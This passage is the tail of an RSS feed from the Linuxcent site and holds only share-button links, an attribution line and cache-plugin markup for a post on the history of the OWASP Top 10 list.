target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-top-10-history-evolution%2F&amp;linkname=OWASP%20Top%2010%20History%3A%20How%20the%20List%20Evolved%20from%202003%20to%202025" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-top-10-history-evolution%2F&amp;linkname=OWASP%20Top%2010%20History%3A%20How%20the%20List%20Evolved%20from%202003%20to%202025" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fowasp-top-10-history-evolution%2F&#038;title=OWASP%20Top%2010%20History%3A%20How%20the%20List%20Evolved%20from%202003%20to%202025" data-a2a-url="https://linuxcent.com/owasp-top-10-history-evolution/" data-a2a-title="OWASP Top 10 History: How the List Evolved from 2003 to 2025"></a></p><p>The post <a href="https://linuxcent.com/owasp-top-10-history-evolution/">OWASP Top 10 History: How the List Evolved from 2003 to 2025</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/owasp-top-10-history-evolution/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1892</post-id>	</item>
	</channel>
</rss>

<!--
Performance optimized by W3 Total Cache. Learn more: https://www.boldgrid.com/w3-total-cache/?utm_source=w3tc&utm_medium=footer_comment&utm_campaign=free_plugin

Page Caching using Disk: Enhanced 

Served from: linuxcent.com @ 2026-07-05 00:51:00 by W3 Total Cache
-->